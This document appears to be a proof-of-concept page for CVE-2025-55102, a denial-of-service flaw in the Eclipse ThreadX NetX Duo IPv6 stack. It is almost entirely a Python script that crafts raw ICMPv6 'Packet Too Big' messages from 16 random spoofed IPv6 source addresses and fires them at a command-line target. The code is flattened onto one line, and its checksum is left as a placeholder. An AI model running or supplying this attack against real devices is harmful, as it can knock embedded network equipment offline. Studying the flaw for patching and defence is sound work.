CVE-2025-55102: Eclipse ThreadX NetX Duo IPv6组件拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-55102 PoC - Eclipse ThreadX NetX Duo IPv6 DoS This PoC demonstrates sending a malicious ICMPv6 Packet Too Big message with multiple source addresses to trigger the denial of service. """ import socket import struct import random def create_icmpv6_packet_too_big(source_addrs, target_addr): """ Create a malicious ICMPv6 Packet Too Big message with multiple source addresses. """ # ICMPv6 type for Packet Too Big is 2 icmp_type = 2 # ICMPv6 code icmp_code = 0 # MTU value (should be less than actual packet size) mtu = 1280 # ICMPv6 checksum (placeholder - needs proper calculation in real scenario) checksum = 0 # Build ICMPv6 Packet Too Big message icmp_data = struct.pack('>I', mtu) # MTU icmp_data += b'\x00' * 28 # Original packet header + data (truncated) # ICMPv6 header icmp_header = struct.pack('>BBH', icmp_type, icmp_code, checksum) icmp_packet = icmp_header + icmp_data # IPv6 header for Packet Too Big message # Use one of the source addresses as the packet source src_addr = source_addrs[0] if source_addrs else '2001:db8::1' # Create pseudo-header for checksum calculation payload_length = len(icmp_packet) next_header = 58 # ICMPv6 # IPv6 header construction version_class_flow = struct.pack('>I', 0x60000000) payload_length_packed = struct.pack('>H', payload_length) next_header_packed = struct.pack('>B', next_header) hop_limit = struct.pack('>B', 255) # Convert addresses to bytes src_addr_bytes = socket.inet_pton(socket.AF_INET6, src_addr) dst_addr_bytes = socket.inet_pton(socket.AF_INET6, target_addr) ipv6_header = (version_class_flow + payload_length_packed + next_header_packed + b'\x00' + hop_limit + src_addr_bytes + dst_addr_bytes) return ipv6_header + icmp_packet def send_malicious_packets(target_ip, interface='eth0'): """ Send malicious Packet Too Big messages to trigger CVE-2025-55102. """ try: sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Generate 16+ different source addresses source_addrs = [] for i in range(16): addr = f'2001:db8::{random.randint(1, 0xffff):04x}:{random.randint(1, 0xffff):04x}' source_addrs.append(addr) print(f'[*] Target: {target_ip}') print(f'[*] Number of source addresses: {len(source_addrs)}') print(f'[*] Sending malicious Packet Too Big messages...') # Send multiple packets with different source addresses for i, src_addr in enumerate(source_addrs): packet = create_icmpv6_packet_too_big([src_addr], target_ip) sock.sendto(packet, (target_ip, 0)) print(f'[+] Sent packet {i+1}/{len(source_addrs)} from {src_addr}') print('[*] Attack completed') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ipv6>') sys.exit(1) target = sys.argv[1] send_malicious_packets(target)